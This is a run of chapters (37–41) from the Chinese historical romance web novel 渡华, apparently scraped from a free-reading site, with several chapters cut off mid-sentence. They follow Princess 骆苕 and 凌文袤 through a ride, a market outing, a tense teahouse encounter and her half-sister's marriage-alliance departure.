骆苕凝着骏马的耳廓,余光中的景致起起伏伏。 她伸出手拽住他左手袍袖,将身体挺直往后靠,后背、脑袋真实地枕上他的胸膛肩胛,视线里的景致由林道转换为繁叶和苍穹。 胸腔内的心跳没有横冲直撞,只余一片茫茫。 身后胸膛宽阔贴服,温温热热。 凌文袤双手持缰,浑然一顿,慢慢撒开左手,额面埋进她的脖颈,深嗅一息:“你不说,是默许……我自取……” 左臂没再客气,狠狠揽过她的腰身,往自己身上带,所有的掣肘似乎在顷刻间都消散不见。 心中对昨日的不痛快也消减大半。 骏马刚踏出茂林,凌文袤便狠提马速,骆苕人又被他往怀里带紧了些,只差将人糅进胸膛,糅进胸膛又怕折了她的腰骨,释了些力道。 提速后,骆苕略觉腰椎不适,是被外物突然地抵触。再一个脸皮难受,不是难受,是难看。起起落落,脸皮贴不住骨,后颅磕在肩胛,磕得脸皮会打颤。于是,轻易挣脱了凌文袤的束缚,身子顺着跌宕往前挪一点,给二人之间留出空隙,又抬手拂了拂后脑勺。 短暂的暧昧被风一吹便散了,有些煞风景。 她的腰还被他的手臂松松地揽着,也没见他强求搂紧。骆苕扭身螓首一抬,瞥见凌文袤下颌线刚劲地绷着,唇线紧抿,双眼直视前方,锁着眉心。 骆苕回身之际,听见了重重的一腔吐气声。 她眉目半垂,只是酸酸地牵了牵唇。 “不若你亲我一口,像适才那样仰头亲,亲哪 37. 第三十七章 《渡华》全本免费阅读 已过日中,天还是悄然无息地热起来,昨日下过雨的林地被烘起浓烈潮气,夹在风里,一阵一阵往二人脸上送。 坐在大石上的骆苕,双腿刚好蹬直,脚跟扣在草地,染了些许泥泞,鞋尖一下一下对碰着,眉眼舒缓,样子有些惬意。 只觉眼前递来一物,在她身前晃了晃。 一柄无纹无饰短刀,形制精简。 “亲自给你锻的,防身比较趁手,自己起个名。”凌文袤一脸淡然,“之前的那把,花里胡哨,我已经帮你丢了。” 骆苕握上刀柄,轻轻攥了攥,顺势接了过来,褪去刀鞘,刀身映现出她的眉眼。 “我是不是该谢谢你。”骆苕重新推刀入鞘,侧头看他,“谢谢你送我这柄短刀。” 八年弦刀相伴,不趁手也会用得趁手,只不过那柄弦刀她未曾用过。 看似她对丢弦刀一事并不介意,凌文袤回得坦荡:“你我之间不必言谢。” 骆苕也确实想不去在意,她将短刀收好,说:“其实在这京都城,原本也用不上这些防身之物,只是傍身惯了,带在身上心里踏实些。至于名字,我想……还是不用为好,好刀不出鞘,不留名。” 若是国破城陷,用来自刎也更为趁手。 曾经深夜无数个长梦,骆苕都困在国破城陷的虚幻里。 她立在宫墙之上,满头朱翠金釵,步摇冠低垂的金叶刮着额前皮肉,身上的华服看不清纹样,看不清制式,只觉广袖如山峦逶迤,覆满整座正阳宫。 城外城下,血光火光充斥天地,四面八方是举着战旗、寒刀涌向正阳宫的人。 漫天的金乌盘旋在上空,黑压压地笼罩整个皇宫,明明是祥瑞,却亢奋欢快地讥笑着一片尸身火海。 慌乱之下,她抹向脖颈,惊惧垂首,发现手中空无一物,自刎的利刃不见踪影,想攀上宫墙纵身火海,可宫墙变得越来越高,越来越高。 在窒息中她惊醒,一身冷汗。 风推开层叠的树叶,放进一缕阳光落在她的眼眶。 骆苕眯起眼睛。 此刻,竟能和乱臣贼子,坐落在天地间谈笑自若,反倒是一件荒唐的幸事。 “你的东西你做主。”凌文袤双臂懒懒地撑向身后,长靴无意识踢了踢脚下的杂芜,回身看骏马啃食草地。 “你的名字倒很有意思,文……袤,凌文袤,连名带姓笔笔带着肃杀。”在某种意义上,这是骆苕第一次喊他的名字。 “我舅父给起的,意为有书可读,有长衣可穿,求个温饱,求个明理而已。以秦篆书写也便没那么多的肃杀。”凌文袤还一并把字也给解释了,“表字宪……敏心晓理,正好儿时比较聪慧,也是舅父给的。” 遂问,“你是喜欢我的名呢还是喜欢我的字,亦或者喜欢我这个人?” 三选一,骆苕选:“你这个人吧。” “吧?”凌文袤冷笑,“多加一个吧字,便是对选择的否认,妥协。” 骆苕反问:“那你会喜欢我什么?该不会是蠢吧?” 凌文袤脸颊一抽:“不得不承认,我与天底下大多男人一样,喜欢长公主这副皮囊。情爱真心这东西,长公主尝过,我凌宪不曾品尝,就看长公主给的起给不起,我……不想吃亏。” 不想吃亏,说得很坦荡,却幽怨甚满,怎觉自己有些蠢,劲劲的。 骆苕长睫一掀:“那些被你打发了的姬妾,就没一个动过真心?” “不曾。”凌文袤回的很快,揶揄一笑,“动真心便不打发了。” 骆苕颔首,“倒也是。从前那么多姬妾,那你,一定已经枝繁叶茂儿女成行。” 凌文袤低呵一声:“借你吉言,日后必定会的。许是运气不好,目前还未能等来弄璋弄瓦之喜。” 那么多姬妾,她倒是挺能加。 骆苕面色淡淡,目视前方不知在想些什么,过了一瞬,启唇波澜不惊转了话:“你舅父对你真好,名和字都是他替你取的。” 凌文袤眼波一收,话说着说着突然跑去另外一个腔调上,听见她又说,“我的小字昭昭,是昭昭如意岁岁安澜之意,母亲给我取的,我很喜欢。” 昭昭,苕,风和日暄,落草为昭。 凌文袤此时竟不合时宜地想到了骆苕一头被绞去的秀发。 “烂昭昭未央兮。”他叫得字正腔圆,不带一丝邪念,“昭昭。” “嗯。”骆苕跟着应了一声,二人一对视,竟同时笑出了声,一唤一应如同儿时被授学先生点名,释解章句。 凌文袤察觉今日的骆苕实在不一样,像放下了某些东西,将自己往他跟前送。 骆苕挂笑起身,蓦地手腕被凌文袤手掌捉住,骆苕脚下一滞,没有回望。带着厚茧的虎口刮过她的拇指,手掌握住她的四指,他的拇指在她的掌心轻轻摩挲。 “痒。”骆苕没有抽手而是回握,禁锢住他的手掌。 凌文袤也起了身,松手指了指前方远处山丘:“马也歇息的差不多了,咱俩比试一场,输的亲赢的一嘴。” 今日这张唇他凝了无数次,是非要不可。 骆苕沉沉地应了声:“好。” 凌文袤下意识跟着一沉,过于顺利,总觉哪里不对。 二人牵马,上马一气呵成。 一声“驾!”两匹骏马并头齐驱飞驰而出,后头的一青骑着马匹也跟着冲了出去。 赤眉一人立在树下,如鹰隼般环视周遭境况。 又是一炷香,凌文袤先行折返而归,回身看着一青不紧不慢跟了过来,最后骆苕才迟迟而归。把骆苕落在最后,凌文袤嫌一青没有眼力,便罚一青同赤眉共乘一骑回东市。 四人原路返回,骆苕和凌文袤并驾在前,凌文袤建议:“北市有家羊杂汤馆,味道不错,我们去北市。” 骆苕微笑应承:“将好饿了。” 不说还好,一说肚子还真是有些饿。 凌文袤有些责怨:“你每日随我出府活动活动筋骨,吃睡自然会安。” 身上的肉便不会蹭蹭往下掉,他在湧州时,劳作、操兵过后,累得只想吃饭,沾床便睡,真该把她也丢进女子营规训规训。 那些已逝的秀发和肉本该是他的。 骆苕默了会儿,才开口:“兴许过些时日便会好些,夏日炎炎,万事总提不起兴致。” 凌文袤缓缓眨了眨眼,意味深长道:“是杂念太多,连佛法都静不了你的心。” “嗯。”骆苕没有否认。 今日骆苕顺和的模样,让凌文袤有种她这副皮囊可以随时交代的错觉,不禁想得寸进尺,也不知是试探还是嘴瓢:“不如今晚别回公主府了,随我去我的外宅。” 这句直抒胸臆的浑话卷入“哒哒”马蹄声中。 他对她一直如此直接,如烈日般灼人。 骆苕说:“不去,今日过后也劳烦你少来公主府,耽色误事太久,容我先静一静,你也一样。” 他的出现让她变得心念纠葛、复杂。 骆苕劝自己从心而就,承认喜欢凌文袤,而凌文袤的出现也正合适。 让她开始忘记白言霈。 即便无数暗夜想念白言霈还是想得厉害,那种习惯骆苕也已经习惯,何时消散会对白言霈的思念…… 38. 第三十八章 《渡华》全本免费阅读 四人离馆之际,小厮念念不忘,躬身相送,呆呆地看着他们离去。 赤眉和一青察觉,同时回头,盯着小厮给予眼神警告,小厮又一哆嗦,慌忙背过身去。 烈日当空,骆苕从过往游商那给凌文袤挑了一顶斗笠,给他戴好。 又东看看西瞧瞧,对所见新奇之物都要流连好大一会,看完却又不买。 凌文袤跟在身侧任她牵引,有些颓,这大日头晒得他只想找一处阴凉处躲着。 转念一想,应当不是太阳的缘故,往常办事,穿行在烈日之下,根本不惧。难道是不喜欢陪女子无目的地闲逛? 不由打量起过往成对行人的神色。 倒也不是人人都像他这样。 无目的闲逛,确实是无趣了些。 凌文袤看向那层碍人眼的幂篱垂纱,不由眼皮抬了抬,强打起精神。 街上的行人虚虚晃晃,凌文袤又开始跑神。 突然察觉骆苕伸手在拉扯他的衣袖,似乎有些雀跃。 凌文袤回神。 只觉二人已经停在一处摊位前,傩面具白花花一片挂满在一串串竹枝上,个个纵目獠牙,只是雕工粗制得不忍直视,幸亏未上漆色,还能自己拿刀再修修。 骆苕轻轻拽了拽竹枝,仰起脑袋掀开幂篱一角,看着成串面具东倒西歪地相互碰撞在一起,发出木质闷脆声响。 “你挑一个。”骆苕兴奋之余对凌文袤说,“我找它找了好久,还和从前一样。” 凌文袤心里直犯嘀咕,若是早说找傩面具,也不必逛上如此之久,他懒懒地问:“瞧样子你以前常来,是不是很久没出来过?” 骆苕心无旁骛端详傩面具,回得敷衍:“嗯,大概有三四五六七八年了吧,反正记不清了。”又拽拽他,“赶紧挑一个,挑完回去。” 凌文袤人真正清醒了七八分,食指将斗笠推起一点,眯眼看向骄阳,觉得还早。 又看向狰狞的面具,片刻之后,心底骤然被某些心烦意乱的东西翻搅而过。 伸手随便一指。 摊主笑容满面,打量不似寻常人家的二人,点着头欠着腰等着二人挑妥当,和气报价:“三十五文钱。” 骆苕倒是一怔,笑说:“还是三十五文,你这价格从未变过。”骆苕从钱袋里数钱,按旧例得给足四十文钱。 从前一副面具二十文,两副三十五文,可骆苕总给四十文。 摊主双手接着往他掌心里盘数过来的钱铢,笑盈盈:“贵人这样一说就知是老主顾,我已经六年没出过摊喽,今日头一次出摊就遇见贵人,是我的荣幸。”也未清点给妥的钱铢,往挎包里一揣,“近几年又难得太平了些,大伙儿口袋里也有些闲钱可以打发,我就捡起我的老手艺上街碰碰运气。” 摊主摇头苦乐,“就是我的手艺没多少长进。” 摊主约莫三十出头,穿一身青灰粗布麻衣,左手五指断折,走路也不利索,还如从前一样一副沧桑的模样。 并未年轻过,也并未老去。 骆苕接过摊主递来的两副面具,勉为其难寒暄:“可真巧,今日我便是特地来寻你这手艺的。” “还得多谢贵人光顾,才让我这小摊有了生机。”摊主乐呵一笑,“日子如果能一直这样太平就好咯。” 骆苕轻轻“嗯”了一声。 已有路过的行人,驻足在摊位前如骆苕一样饶有兴致地轻摇竹枝。 骆苕转身离开。 深宫喋血,皇权即将更朝迭代,他们似乎并不在意这些,大嵘给予他们的安稳过于浅薄、短暂,让他们来不及伤感。 危危大嵘曾想企及巍巍大嵘,还未奋起便要落幕,无人唏嘘,骆苕微微一叹。 “贵人,等等!”摊主突然想起落了东西,喊停正要离去的二人,抓了几根麻绳送过去,“面具额外的系带忘了给您,您拿好。” “多谢。”骆苕接过,轻轻攥了攥,看向集市前路,再侧首看凌文袤,浮起笑意:“一副没精打采的样子,再捱一会儿出了集市,便回去了。” 凌文袤只是“唔”了一声。 骆苕把面具塞进凌文袤手里让他拎着,取出永安吉铢,用麻绳穿好,在他的脖子上比划了几下,觉得麻绳肯定会扎人,于是穿绳走线,边走边当街打起络子。 细麻绳粗糙,做起粗活来竟也能如此得心应手。 凌文袤视线落在翻飞的纤细五指上,又推了一下斗笠。 麻绳不够长,所以络子打得有些简单,最后,骆苕将吉铢络子摊在掌心看了一会,觉得挺满意。 “把手给我。” 说时骆苕抬眼看凌文袤,却发现他在看街边景致。凌文袤瞭了一眼她手中捏着的钱铢络子,指指远处,“不如喝盏茶去。”顺势把手伸了过去。 “嗯。”骆苕应着,把钱铢络子绑上凌文袤的手腕,吉铢贴着他手腕,将好覆盖在筋脉之上,她颇为得意地说,“还挺好看。长短刚刚好,只是觉着带在男子手腕上不成体统,有些小气。”想了想道,“府里还有些许吉铢,改日,还是给你打条玉钱吉络吧。” 凌文袤看了看自己的手腕,面皮有些不知所然,没说话,把手腕上的东西往袖子里面掖干净后,才敷衍似的嗯了一声。 不知不觉人已经被凌文袤带进小茶楼,赤眉得命清了二楼唯一的茶客。 凌文袤掀了斗笠,一手提着面具一手拉起骆苕,直直地把人往二楼带。 到了二楼,凌文袤也不打算再掖藏情绪,两副面具直接丢在了茶案上,因放置面具的声音过大动作又有些粗鲁,骆苕皱眉看了凌文袤一眼,自己过去将面具轻轻摆正。 心思还在面具上,骆苕只觉一双手已经伸来摘她的幂篱,摘幂篱的动作并不轻柔,骆苕不知他这莫名其妙的火气从何而来。 少时拉慕容余出来逛集市,也跟凌文袤一样,一副被霜打菜叶的蔫蔫样。 挺无趣的。 凌文袤丢下幂篱,双手扶上骆苕肩膀,看着被热气熏红的脸颊,眸色一滞,说:“骆苕,你可知,今日我想了很久的一件事……”视线随喉结轻滚滑去她的双唇,流连几许,“你输了骑马,现在该你来还债……”他点了点自己的唇角给予提示。 骆苕视线落在他的喉结上,没有看他,心跳不知不觉变得很快,唇喉微抖,她真不想在这个时候去做这件事。 一身的汗,方才还刚食过羊杂汤。 更不喜欢这种被胁迫的感觉,莫名其妙的。 凌文袤松开她,从茶案上沏了两杯茶,一杯递给骆苕,说:“我可以慢慢等,时辰尚早,有的是时间。” 骆苕接过茶盏,望着茶盏中的凉茶不为所动,她想说来日方长,何必就在今日。 但她没说。 凌文袤似乎失去了少许耐性,压低的声线泄出愠气,语速很慢。 “你满大街找昔日的面具,是把我当做他了吧。” 骆苕一惊,这才掀眼看他,狠狠吸了一口气摇头,用坚定的目光表示否定。 原来他的莫名其妙的怒气来自这里,总算找到了源头。 “没有?”凌文袤扬眉不信,“我不是你的男宠,拿小玩意儿根本哄不好……” 骆苕又莫名其妙心间一刺,还没从他可笑复杂的解读中脱离出来,后背已经被他死死按住,另一只手摁住她的后脑勺,骆苕瞪眼双手推他:“你等等……” 这人根本不讲规矩,明明说让她还债去主动吻他,什么时辰尚早有的是时间,可以慢慢等,在他那里没一句实话。 刚启唇,只觉他的整张脸劈面而来,唇撞了下来。 他不容她等等,已经将人和声直接吞下。 被热浪瞬间禁锢,唇与唇之间的碰撞使骆苕身子僵直,腰身也被死死地按着不敢动弹,呼吸断断续续扭曲不畅。 骆苕紧紧地握着横亘在他们之间的茶盏,茶水已经溢光,染湿了她的衣襟。 “骆苕,我给你机会……让你忘了他……”凌文袤粗重碎音沿着她的唇边宣泄而出, “你倒好……”他再次攻略他的城池,片刻都不待松懈,插上旗胜, “反手当着我的面……堂而皇之地拿我填你心里的那个窟窿……” 骆苕被带上茶案,天旋地转,什么身姿,什么方位根本辨不明,最后才确定自己被他按倒在茶案上,双手手腕被他的双掌压在案上,动弹不得。 凌文袤喘着重气稍稍抽离,迷离的双眼飘忽地望向她一直还不肯丢掉的空茶盏,笑了笑,回过头,居高临下问:“委屈吗?” 四目对望,骆苕被这一问,觉得更加委屈,手腕疼,脑袋疼,后脖颈疼,嘴巴疼,甚至胸腔也是疼的,眼眶开始泛红,梗着脖子瘪瘪嘴。 凌文袤松开她的双腕,拿走她手中的空杯盏,轻轻地将空杯盏搁在跪榻上。 听见坐向案沿的他恬不知羞地说:“这是我自取的,你欠我的,改日得主动还给我,若是现在有兴致,也可以今日债今日还。” 骆苕以一个自己不能接受的环境躺在茶案上,她动了动想起身逃脱,被凌文袤一掌按在胸口制止。 她双臂摊在脑袋两侧 39. 第三十九章 《渡华》全本免费阅读 凌文袤注视着眼前人。 纵使有千般委屈,万般愁绪,在她听闻成婚二字时,她可以瞬间压制所有的委屈和愁绪,眼里外宣的抵触十分决绝冷静。 一个男人被自己父亲强行推送到一个女人面前,从最初到如今这个境地,他只余下一个念头,娶了她,一了百了。 可她只要他的情爱,没有结果的情爱于他而言犹如方才那场无趣的香艳纠缠,枯燥无味。 凌文袤觉得自己的胸口又堵又疼。 接受京都的规训,但他不想让她也来规训他,将他规训成她心底那个,永不见天日的白姓男宠模样。 京都这滩浑水他正溺在其中,还被她按住脑袋快要喘不过气。 骆苕手背按向唇角还未消去的肿胀,却还是莫名其妙地笑了一下,找回大半理智:“我从来不是一个安分的女子,从前特意去算过一卦,卦象所示,道我难以宜室宜家,不宜嫁做人妇,大凶。” 这么快她便开起玩笑,凌文袤也莫名其妙低哧两声,凝着她慢慢道:“我合过我们的八字,道宜婚,大吉。” 没影的事,被二人拈来胡编乱造。 “凌宪。”骆苕和他对视一瞬,声色轻柔却很正式,“我们可以不谈论嫁娶吗?” 凌文袤望进她的眼睛,却探不到底,视线一收,端盏:“只是谈谈又有何妨,成与不成全在天意,不在我凌宪。” 里中掺杂着隐隐暗示骆苕听的明白,她是他嘴里的那个天意。这件事根本不容质疑,今早从母后那里已经得到确定。 凌五郎和宁华长公主已经提早被参和在一起。 可她宁愿他是冯侍卫。 仿佛事情又恢复到原本的模样,她还是那个可以左右自己婚嫁的宁华长公主,于是沉眉不语。 好半晌,凌文袤手臂越过案面去握她的手,发现她的手明显颤了一下,但他没放开,轻说:“你过来。” 僵持良久。 骆苕终于起身,被他带着蹲在他面前,他捧起她的脸,将自己的额头抵在她的额头,阖上眼,一直没说话,眉心猛跳,唇齿咽喉微动,过了好久,再睁眼时沉沉地说:“方才,是我不好。” 是他不好,短短四个字,涵盖了今日所有一切的错误,不像道歉,不像哄人,但很真实。 骆苕垂着眼没看他,先前掩埋的委屈重新涌上来。 默然起身,踱到窗前,望向窗下熙熙攘攘人头攒动的人群,方才身处集市不觉得人多,现在这样望过去,一派热闹景象。 她手掌敷在被他捏红的腕子上,暗暗心疼自己,再平息一会儿,便可回府。 散神的时候,骆苕猝不及防被人又给纳进了胸膛,凌文袤下颌对着她的颅侧轻轻一触,叹出长气,再无他话。 二人汗涔涔,粘腻腻挨在一起。 其实他的胸膛,骆苕并不抗拒,甚至说挺喜欢。但因他先前的狂执做派,让她有了极不好的联想,事后有些惴惴不安,里中缘由很复杂。 凌文袤为了缓和气氛,在骆苕身前转了转手腕,说:“绑缚得紧了些,你把它松一松。” 骆苕顺势离开他的圈禁,面对着他解下吉铢络子放进他的鞶囊,抬头在他脸上慢慢回扫,似在斟酌。 凌文袤察觉她有话要说,眉梢一抬,示意她说。 现在的眼神很好,骆苕微微脱离泥沼,轻轻相问:“凌宪,你如今年岁几何?” 只知他是凌晖之子,但对他真正的年纪却很模糊,没有确切的数字。 凌文袤眸色一滞,腮骨紧了紧,回得有丝丝凉:“二十一。” 骆苕颔首,莞尔:“长我两岁,原以为你比慕容余还小一些。” 凌文袤没说话,任她打量,胸中又开始泛堵,她竟然连他的岁数都不知道。 骆苕用目光仔细抚过他的鼻梁眉廓,最后落回他的双眼:“凌宪,世人一面说寿岁天定,一面却谋求长寿永生,为求长寿永生,寻仙问药不吝家财。希望你远离仙石丹丸,远离寒食散。” 垂下眼眸,“我知道规劝没有用,但……还是说了,或许只是个人拙见罢了。” 普天之下,富贵豪绅服食丹药者十之七八,丹药之蛊无人可拒,先将人捧入高台,慢慢沁心蚀骨,再令人成疯入魔。 久服丹药的人骆苕见的多,她的父皇便是其中一位,手握生杀大权的君王最后成为暴虐嗜血的屠夫,身后有丹药的影子。 在那座深宫,她的母后承载了太多不为人知的耻辱,他的父皇将她母后的尊严踩在脚下反复碾压,碾碎,再裹上华丽的外表,奉为仙姝。 身后同样也有丹药的影子。 方才凌文袤的样子让骆苕事后突然很惶恐,内心深处的恐惧抵触难以言表,是一刹那席卷而来的恐惧。 服食丹药久已成风,王公贵族更趋之若鹜。 他,或许也会难逃厄运。 凌文袤眼波一顿,问:“适才对你如饥似渴,你觉得是因仙石丹丸、寒食散作祟?” 见骆苕只是直直地看他一动不动,他叹息摇头,重新揽人入怀,没有出声。 有时肉身的克制,比英雄折戟还要难受,方才虽克制住,但险些失控。 骆苕吁气,跟着笑了笑:“倒是我多想了。” 不论是不是多想,她也只是借机提醒他而已。 凌文袤视线越去窗外,若有所思:“骆苕,发现今日我丢了个人。” 骆苕不明缘由。 统共四人来这北市,并未丢人,一定另有所指。 凌文袤回看她,说:“我把那个有小女子心思的小娘子丢在了集市,小茶楼亲的这一嘴,真的挺亏。” 骆苕看向自己的手腕,反问:“你确定只有一嘴?” 凌文袤没再说话,转去案上把傩面具提得高高的,与他的视线持平,打量了好大一会儿,问:“今日这俩我带回去,重新修整上漆后再送去公主府,如何?” 骆苕干脆地应了一声“好”。 凌文袤把傩面具轻轻放回案上。 这便算哄她了。 二人落座,静静地饮茶,所有的私欲好似被清茶压退,突然之间没了叙话的欲望,就那样静静地执着茶盏,互不干涉,再次各怀所思。 时间一点一点流泻。 骆苕环看四周,案几规整,四壁挂着六幅留白很多很多的山画水画,底色泛黄落灰,与墙板早已融为一体,小茶楼的四角有四尊花瓶,里面插的并不是家中常见花,而是一簇簇修长俊挺的虎须草,一切拼凑在一起,隐隐透出一些淡漠的态度。 视线收回在对面,他正低头斜侧脸颊,低眉的样子很专注,像把所有的思绪埋在眼前的茶水中,不让人打扰。 下颌线锋锐流畅地往耳后延伸而去,耳廓如同他的人一样,舒展自然,耳轮弯曲的形状带着自有的持骄脾性,耳垂薄厚相宜,大约……大约可算是有福之人。 “咸吗?”他倏地抬眼对上她的视线,问得颇让人费解。 骆苕怔了一下,敛神:“嗯?” 她确定自己听清了这两个字,只是拼凑在一起,她未懂。 凌文袤用指腹在自己鬓边一划,眉心皱得一板正经,有些嫌弃道:“你方才……咸香适宜……倒是我这一身臭汗怠慢了你。” 骆苕恍然,跟着皱了皱眉,有点啼笑皆非。 咸香适宜在他嘴里反倒成了夸人的话。 不 40. 第四十章 《渡华》全本免费阅读 骆苕回府的时候,平平和阿石都还没归府。 申怡帮骆苕脱下幂篱,实在被惊了一跳,骆苕颜面泛着往日不曾有过的潮红,神色凝滞,好在查看、问询之后才确定,是太热给闷的。 垂裙青帽如何破的,申怡没问,脖颈留下的猩红斑驳已经昭示一切。 骆苕来公主府的日子还很短,凌文袤频繁旁若无人出入,每一次的行为都增加了申怡对他私德不好的印象。 今日骆苕原本只是进宫拜谒皇太后,也不知何时又被凌文袤给截去了。 申怡暗暗嗟叹,私德呀,于长公主而言,再也无人与白言霈比肩了罢。 铜镜前,骆苕将抹过汗的巾帕往盆中随手一掷,轻轻相问:“玄雀卫送来公主府的佛经呢?” 从宫中讨要来的佛经,是作为回礼给东刕可敦的。 “在书房。”申怡伸去盆中绞巾帕的手,不免速度加快,“使女这便去取。” “不必取来,用书匣装好即可。”骆苕拿过蒲扇往脸面一摇,看申怡,“明日一早,我要将佛经送到东刕大王子手中。” 申怡应是,而后问道:“长公主,您可饿了?若是饿了,使女让厨堂备些吃食。” “这会儿吃不下。”骆苕摇头朝外走,问:“安乐公主几时启程?” 申怡未加思索,回道:“送亲典礼辰时末结束,送亲吉时在巳时二刻。” 骆苕手脚一停,回眸说:“明日你随我一同前去。” 她身边实在无人可用,平平和阿石二人聪慧,但毕竟年纪小,资历浅,自己出府的次数多了,难免会出现察觉不到的纰漏,确实需要一个沉稳的人来伴随她左右。来公主府的这些日子,申怡管理内宅井然有序,行事谨慎,心细如发,唯有她能分担的起一些重任,跟在身侧让人放心。 申怡,她不得不用。 还未近前跟随的申怡心中一怔,抬眸望过来,对上骆苕认真的眼神,她放下巾帕,恭敬应承:“是,使女记下了。” 二人离开梳妆阁,平平和阿石正好回府,从东市回来的两个人肉眼可见的开心,平平没多加采买,只挑了些新奇的小玩意,阿石则不同,买了许多许多的幼禽,兴奋地倒腾起禽舍。 骆苕与二人照过面后,便开始沐浴焚香诵经,连晚饭都不曾食用。 翌日清晨,申怡随骆苕前往正阳宫,抵达时,送亲典礼还未结束,北阙门外的宽道两旁,礼部送亲行仗喜庆热烈,送亲队伍均立在两侧,脸色庄重,身姿肃然,等待宫内典礼完毕。 骆苕远远地下马车,慢慢向前靠近,申怡递宫牌后仪仗侍卫放行,骆苕便站在一排仪仗侍卫身后,望着骆薇和亲出嫁的车队。 申怡手执便面挡在骆苕的头顶,阳光很烈,熏得人迷迷糊糊,慢慢骆苕的僧帽边沿洇了大片汗液。 不知过了多久,依稀能瞧见着正白礼衣的加木和骆薇从阙门出来,加木横臂轻抬,骆薇的手掌虚虚地搭在上面。 那个在竼城出生的小公主,今日看着她出嫁,竟那么的不真实。 直至加木将骆薇送入车辇,骆苕才怔怔地回了神。 以免耽误吉时,骆苕携着书匣提步近前。 宁华长公主在此时此地出现,百官有些诧异,加木同样楞了一下,随即叩胸回以浅笑:“宁华长公主。”只是这个叩胸的动作很有意思,掌心迟迟未落下,眼眸半垂,余光在骆苕身上。 是有探究的意思。 骆苕回佛礼后,双手将书匣送出:“大王子,代我将佛经转交可敦,问可敦安。” 加木这才正身接过书匣,说:“加木必定不忘宁华长公主所托。” 骆苕将视线移去加木身后的史吉,看着他的双眼,说:“愿大嵘和东刕,结以永好。” 与大嵘结以永好,反复强调的是大嵘,而不是凌晖,这话她虽看着史吉说,但说的对象是加木。 说大嵘二字时,刻意顿了顿。 史吉被突然的视线撞进来,明显没回过神,待回过神,加木已经接话,说得颇为轻松自信:“宁华长公主说的是,我与安乐公主必定琴瑟和鸣,举案齐眉。” 今日的加木也明显与往日不同,说出的话裹带着几分,连他自己都没察觉的的满足雀跃。 他对骆薇很满意。 骆苕敛回目光,低眉默了默,不欲再耽搁,扫向车辇迟疑了一下,本想送上对新人的叮嘱,最后却只套了句沉沉俗话祝福:“百年好合。” 骆苕转身离开前,抬眼看向神色各异的百官。 秋官府之首大司寇贺兰启臻,和春官府之首大宗伯慕容霆彦今日在场,礼部出自春官府,送亲的护卫仪仗队出自秋官府。 一方负责今日送亲礼乐,一方负责送安乐公主入东刕。 慕容霆彦作揖平静行了礼:“长公主。” 贺兰启臻与骆苕冷眼对望一瞬,也行了礼:“长公主。” 骆苕回以浅浅的佛礼,说:“有劳大人们。” 话毕攥了攥手中的珊瑚珠串,提步而去。 将将迈出几步,便听见车辇内传来骆薇恬淡的声音:“宁华长公主留步。” 骆苕脚下一滞,僧服下摆轻轻荡了荡,旋即回身靠近车辇,停在车辇旁轻叩两下外壁,却没说话。 此时的骆苕像个聆听吩咐的仆俾。 车辇的厢门缓缓向两侧推开,伸出染了蔻丹的玉指,只见玉指拨起锦帘,锦帘上花团锦簇的团纹随着锦帛褶皱重叠,失去原本的庄重,绞在一起。 骆苕望过去,骆薇望过来,姊妹二人相视一顿,骆苕将视线散开,流连起垂在骆薇面前的礼冠莹白珍珠流苏。 自从骆炜诠崩逝后,骆薇随她的母亲娴妃移居行宫,算起来二人也有两年多不曾见过面,即便当年同在皇宫,除去宫廷宴饮时可以一聚,旁的闲暇时光亦不曾刻意探望,二人算不得亲密。 骆薇儿时对骆苕是有嫉妒的,嫉妒骆苕可以亲自拟定封号,亲自指定驸马都尉,亲自选择宫殿居所,而且可以随意出入皇宫。 后来渐渐地也便理解了骆苕对她们这些妹妹们的冷淡,她的阿姊不是冷淡,是无暇顾及。 宁华……平宁,她的阿姊是希望天下安宁繁荣。 天下安宁繁荣,谁人不希望呢。 她今日和亲出嫁东刕,也只不过是以一女子之身换来一方安宁,到头来她比她的阿姊反倒更有存在的意义。 也更可怜。 骆薇展开笑颜,轻轻相问:“阿姊,今日的我,好看吗?” 骆苕被骆薇娇俏的语气感染,眸光落实在骆薇的脸上,生出一丝傲娇,说得坚定柔和:“好看。我们骆家女郎怎会不好看?今日就属薇薇最好看。” 婢女接替骆薇打锦帘的手,骆薇冷不防拿指尖在骆苕鼻尖一蹭,笑靥依旧,露出唇边深深的梨涡:“可阿姊将自己弄得灰头土脸来衬薇薇,薇薇会过意不去的。”蹭完打量起自己还算干净的指尖,有些疑惑,“阿姊的灰粉如此贴脸,薇薇也想要。” 鼻尖还留有骆薇指尖微凉的触感,骆苕怔愣之余笑了笑,说:“你若真想要,他日我遣人送去东刕,可好?” 骆薇扶好滑落的披帛,抿唇思索一瞬,像撒娇般摇头:“薇薇最怕丑,还是不要灰粉了。东刕天地广阔,草盛风劲,阿姊若记得我,还是送些胭脂水粉、蕙兰香膏吧。”珍珠流苏晃晃荡荡,碰撞在一起,发出阵阵“噜噜”声。 “好。”骆苕一口应承,“阿姊记下了。” 二人之间陷入了沉默,骆薇长久以来深压在体内的情绪,仿佛此刻找到了豁口,想要破壳而出。 剥除依赖远离至亲的真实感觉,像刀一下一下刮过心头,她的母亲一定又在哭泣。 而她不能哭。 骆薇用力眨了眨眼,深深吸进一口清气,视线穿过珍珠流苏,对着前方轻轻扬起下巴,使劲一笑:“阿姊,你看。” 骆苕顺着她的目光朝前望去,听见骆薇缓缓对她说:“大嵘丽日当空,前路坦荡,我……很想去看东刕皎洁的圆月了。” 丽日当空,前路坦荡,也是对故土和客乡最真挚的期盼。 前日,加木遣史吉去询问可有未了的心愿,骆薇也只是这句,想看东刕皎洁的圆月。 薇,苕,取百花之意,这些浴在大嵘阳光之下的花花草草,终要凋零,去孕育装扮大嵘之外的土地。 骆苕视线里没有视焦,沉沉地应了声:“好。” “阿姊送你。”她回身接过婢女手中的锦帘慢慢 41. 第四十一章 《渡华》全本免费阅读 凌文袤为自己在城北,重辟了一所宅院,宅内算不上开阔,但贵在庭院方正错落有致,亭台楼阁一应俱全。 先前是簪樱之家的居所,如今家主家道中落后离开了京都,宅院流转进新主之手。 宅内灯火通明下人穿行其内,正忙于洒扫,归置。 月挂高枝,书房的榆木门半开,一斜熹和光簇从里横贯而出,拓在外廊刚洒扫过的石砖上,微微泛起冷光。 书房内共有三人,两位穿青袍的男子正襟直立,其中一位正在向凌文袤禀报事宜。 两位青袍男子来自影卫,隶属凌晖部僚。 凌文袤借用凌晖的影卫去跟踪费覃,盯紧费覃的行踪。平日只需飞鸽传书告知费覃所接触人员就好。 费覃行踪简明清晰,只在客栈与宏德寺之间往返,求见离尘大师无果,期间费覃用银钱托人疏通,但依旧无果。 